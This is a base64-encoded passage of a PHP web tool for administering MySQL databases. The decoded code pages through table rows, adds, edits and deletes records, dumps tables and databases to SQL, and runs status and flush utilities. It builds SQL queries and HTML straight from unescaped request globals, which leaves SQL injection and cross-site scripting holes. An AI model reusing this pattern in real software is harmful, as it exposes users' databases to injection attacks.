CWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJJGNv
bCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsKCQll
Y2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0dXJuOwoJfQoJCglpZiggJHJvd3BlcnBhZ2UgPT0g
IiIgKSAkcm93cGVycGFnZSA9IDMwOwoJaWYoICRwYWdlID09ICIiICkgJHBhZ2UgPSAwOwoJZWxz
ZSAkcGFnZS0tOwoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFn
ZSApOwoKCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOwoJZWNo
byAiPHRyPlxuIjsKCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7CgkJJGZpZWxkID0g
bXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJCWVjaG8gIjx0aD4iOwoJCWlmKCRh
Y3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12
aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJGZp
ZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4iOwoJCWVsc2UKCQkJZWNobyAiPGZv
bnQJc3R5bGU9J3RleHQtZGVjb3JhdGlvbjpub25lO2NvbG9yOiMwMDAwMDA7Zm9udC1zaXplOngt
c21hbGw7Jz4iLiRmaWVsZC0+bmFtZS4iPC9mb250PlxuIjsKCQllY2hvICI8L3RoPlxuIjsKCX0K
CWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCglm
b3IoICRpID0gMDsgJGkgPCAkcm93cGVycGFnZTsgJGkrKyApIHsKCQkkcm93QXJyYXkgPSBteXNx
bF9mZXRjaF9yb3coICRwUmVzdWx0ICk7CgkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFr
OwoJCWVjaG8gIjx0cj5cbiI7CgkJJGtleSA9ICIiOwoJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7
ICRqKysgKSB7CgkJCSRkYXRhID0gJHJvd0FycmF5WyRqXTsKCgkJCSRmaWVsZCA9IG15c3FsX2Zl
dGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGogKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0g
MSApCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+bmFtZSAuICI9IiAuICRkYXRhOwoKCQkJaWYo
IHN0cmxlbiggJGRhdGEgKSA+IDMwICkKCQkJCSRkYXRhID0gc3Vic3RyKCAkZGF0YSwgMCwgMzAg
KSAuICIuLi4iOwoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7CgkJCWVjaG8g
Ijx0ZD5cbiI7CgkJCWVjaG8gIiRkYXRhXG4iOwoJCQllY2hvICI8L3RkPlxuIjsKCQl9CgkJIAoJ
CWlmKCAka2V5ID09ICIiICkKCQkJZWNobyAiPHRkIGNvbHNwYW49Mj5ubyBLZXk8L3RkPlxuIjsK
CQllbHNlIHsKCQkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdERhdGEk
a2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5FZGl0PC9hPjwvdGQ+XG4i
OwoJCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kZWxldGVEYXRhJGtleSZk
Ym5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25m
aXJtKCdEZWxldGUgUm93PycpXCI+RGVsZXRlPC9hPjwvdGQ+XG4iOwoJCX0KCQllY2hvICI8L3Ry
PlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4iOwoKCWVjaG8gIjxmb250IHNpemU9Mj5cbiI7Cglp
ZigkYWN0aW9uID09ICJ2aWV3RGF0YSIpCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/
YWN0aW9uPXZpZXdEYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRo
b2Q9cG9zdD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9u
PXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVy
eVN0cicgbWV0aG9kPXBvc3Q+XG4iOwoJZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+XG4iOwoJZWNo
byAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsKCWVjaG8g
IjwvZm9udD5cbiI7CgllY2hvICIgfCAiOwoJaWYoICRwYWdlID4gMCApIHsKCQlpZigkYWN0aW9u
ID09ICJ2aWV3RGF0YSIpCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0Rh
dGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJ
ZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdl
KTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAidmlld0RhdGEiKQoJCQllY2hv
ICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5QcmV2PC9hPlxuIjsKCX0gZWxzZQoJCWVj
aG8gIlByZXYiOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0x
ICkgewoJCWlmKCRhY3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZw
YWdlPSIuKCRwYWdlKzIpOwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv
bj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVl
cnlTdHImcGFnZT0iLigkcGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9
PSAidmlld0RhdGEiKQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5OZXh0
PC9hPlxuIjsKCX0gZWxzZQoJCWVjaG8gIk5leHQiOwoJZWNobyAiIHwgIjsKCWlmKCAkcm93ID4g
JHJvd3BlcnBhZ2UgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdl
PlxuIjsKCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0dvJz5cbiI7Cgl9CgllY2hv
ICI8L2Zvcm0+XG4iOwoJZWNobyAiPC9mb250PlxuIjsKfQoKZnVuY3Rpb24gbWFuYWdlRGF0YSgg
JGNtZCApIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBf
U0VMRjsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7
CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBEYXRhPC9oMT5c
biI7CgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSAp
OwoJCSRudW0gPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOwoJCgkJJGtleSA9ICIiOwoJ
CWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNo
X2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp
CgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1l
IC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCQllbHNlCgkJCQkJ
JGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIn
IEFORCAiOwoJCX0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoK
CQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJCSRwUmVzdWx0ID0g
bXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJF
ICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJl
c3VsdCApOwoJfQoKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVu
YW1lPC9wPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+
XG4iOwoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWFjdGlvbiB2YWx1ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0
IiApCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRh
X3N1Ym1pdD5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9
JGRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFs
dWU9JHRhYmxlbmFtZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu
Zz0yPlxuIjsKCWVjaG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOwoJZWNobyAi
PHRoPlR5cGU8L3RoPlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+XG4iOwoJZWNobyAiPHRo
PkRhdGE8L3RoPlxuIjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVl
cnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlz
cWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxk
cyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysg
KSB7CgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7CgkJJGZpZWxkbmFt
ZSA9ICRmaWVsZFsiRmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJJGxl
biA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJCWVjaG8gIjx0cj4iOwoJ
CWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJd
LiI8L3RkPiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5h
bWV9X2Z1bmN0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPkFT
Q0lJXG4iOwoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8b3B0aW9uPlNPVU5ERVhc
biI7CgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxu
IjsKCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8b3B0aW9uPkZST01fVU5J
WFRJTUVcbiI7CgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAiPG9wdGlvbj5QQVNTV09S
RFxuIjsKCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNobyAiPG9wdGlvbj5QRVJJ
T0RfRElGRlxuIjsKCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJZWNobyAiPG9wdGlvbj5V
U0VSXG4iOwoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hvICI8b3B0aW9uPlJBTkRc
biI7CgkJZWNobyAiPC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCSR2YWx1ZSA9IGh0
bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAiYWRkIiApIHsKCQkJJHR5
cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51
bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBl
ID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJ
ZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRu
YW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkg
KSB7CgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9
CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsK
CQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9
NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOwoJCQkJZWxzZQoJCQkJ
CWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0k
ZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0
IiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAk
dHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJ
CQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5h
bWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3Qg
bmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0
cnRvayggIiciICkgKSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkKCQkJCQkJZWNobyAiPG9w
dGlvbiBzZWxlY3RlZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAiPG9wdGlvbj4kc3Ry
XG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJ
CQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVj
aG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmll
bGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNlCgkJCQkJZWNobyAiPHRk
Pjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+
JHZhbHVlPC90ZXh0YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90cj4iOwoJfQoJZWNobyAi
PC90YWJsZT48cD5cbiI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9
c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJ
CWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7CgllY2hvICI8
aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCkn
PlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAk
Y21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxk
bmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9s
aXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVs
ZHMoICRwUmVzdWx0ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUg
KTsKCWlmKCAkY21kID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5TRVJUIElOVE8gJHRhYmxl
bmFtZSBWQUxVRVMgKCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0g
IlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvciggJGkgPSAwOyAkaSA8ICRu
dW0tMTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsK
CQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07CgkJaWYoICRmdW5j
ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZiggJGZpZWxkLT5udW1lcmlj
ID09IDEgKSB7CgkJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdOwoJCQlpZigg
JGZ1bmMgIT0gIiIgKQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0
ciAuPSAiLCI7CgkJfSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVs
ZC0+bmFtZV07CgkJCWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7CgkJ
CWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVsZCA9IG15c3FsX2ZldGNo
X2ZpZWxkKCAkcFJlc3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkkcXVlcnlT
dHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UgCgkJJHF1ZXJ5U3RyIC49
ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOwoKCW15c3FsX3F1ZXJ5KCAkcXVl
cnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdE
YXRhKCAiIiApOwp9CgpmdW5jdGlvbiBkZWxldGVEYXRhKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs
ZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIs
ICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxl
bmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJJGtleSA9ICIi
OwoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRj
aF9maWVsZCggJHBSZXN1bHQsICRpICk7CgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp
CgkJCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApCgkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAu
ICI9IiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiIEFORCAiOwoJCQllbHNlCgkJCQkka2V5
IC49ICRmaWVsZC0+bmFtZSAuICI9JyIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIicgQU5E
ICI7Cgl9Cgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoKCW15c3Fs
X3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlTdHIgPSAgIkRFTEVU
RSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSI7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAk
bXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdEYXRhKCAiIiAp
Owp9CgpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpCnsKCWdsb2JhbCAkbXlz
cWxIYW5kbGUsJGRibmFtZTsKCQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5k
bGUgKTsKCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFibGUi
LCRteXNxbEhhbmRsZSk7CgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lk
LCBNWVNRTF9BU1NPQyk7CgkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJs
ZTtcbiIgLiAkdGFibGVkdW1wWydDcmVhdGUgVGFibGUnXSAuICI7XG5cbiI7CgoJZWNobyAkdGFi
bGVkdW1wOwoKCS8vIGdldCBkYXRhCgkkcm93cyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9N
ICR0YWJsZSIsJG15c3FsSGFuZGxlKTsKCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93
cyk7Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzLCBNWVNRTF9OVU0pKQoJ
ewoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOwoKCQkkZmllbGRj
b3VudGVyID0gLTE7CgkJJGZpcnN0ZmllbGQgPSAxOwoJCS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0
YQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQoJCXsKCQkJaWYgKCEkZmly
c3RmaWVsZCkKCQkJewoJCQkJJHRhYmxlZHVtcCAuPSAnLCAnOwoJCQl9CgkJCWVsc2UKCQkJewoJ
CQkJJGZpcnN0ZmllbGQgPSAwOwoJCQl9CgoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50
ZXIiXSkpCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gJ05VTEwnOwoJCQl9CgkJCWVsc2UKCQkJewoJ
CQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNv
dW50ZXIiXSkgLiAiJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQllY2hv
ICR0YWJsZWR1bXA7CgoJfQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsKfQoKZnVuY3Rpb24g
ZHVtcCgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRhY3Rpb24sICRkYm5hbWUsICR0YWJsZW5h
bWU7CgoJaWYoICRhY3Rpb24gPT0gImR1bXBUYWJsZSIgKXsKCgkJaGVhZGVyKCJDb250ZW50LWRp
c3Bvc2l0aW9uOiBmaWxlbmFtZT0kdGFibGVuYW1lLnNxbCIpOwoJCWhlYWRlcignQ29udGVudC10
eXBlOiB1bmtub3duL3Vua25vd24nKTsKCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1l
KTsKCQllY2hvICJcblxuXG4iOwoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkdGFibGVuYW1lIFRB
QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJZXhpdDsJCQoJCQkJCgl9ZWxzZXsKCQloZWFkZXIo
IkNvbnRlbnQtZGlzcG9zaXRpb246IGZpbGVuYW1lPSRkYm5hbWUuc3FsIik7CgkJaGVhZGVyKCdD
b250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOwoJCQoJCW15c3FsX3NlbGVjdF9kYiggJGRi
bmFtZSwgJG15c3FsSGFuZGxlICk7CgkJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFi
bGVzIiwkbXlzcWxIYW5kbGUpOwoJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1
ZXJ5X2lkLCBNWVNRTF9OVU0pKQoJCXsKCQkJCWZldGNoX3RhYmxlX2R1bXBfc3FsKCRyb3dbMF0p
OwoJCQkJZWNobyAiXG5cblxuIjsKCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRB
QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJCQllY2hvICJcblxuXG4iOwoJCX0KCQllY2hvICJc
clxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOwoJCWV4
aXQ7CQkKCgl9Cgp9CgpmdW5jdGlvbiB1dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRjb21t
YW5kOwoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIiIHx8
IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUgKSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5cbiI7
CgkJZWNobyAiU2hvd1xuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7
CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93
X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0PC9h
PlxuIjsKCQllY2hvICI8L3VsPlxuIjsKCQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+XG4i
OwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1
c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiAp
IHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJZWNo
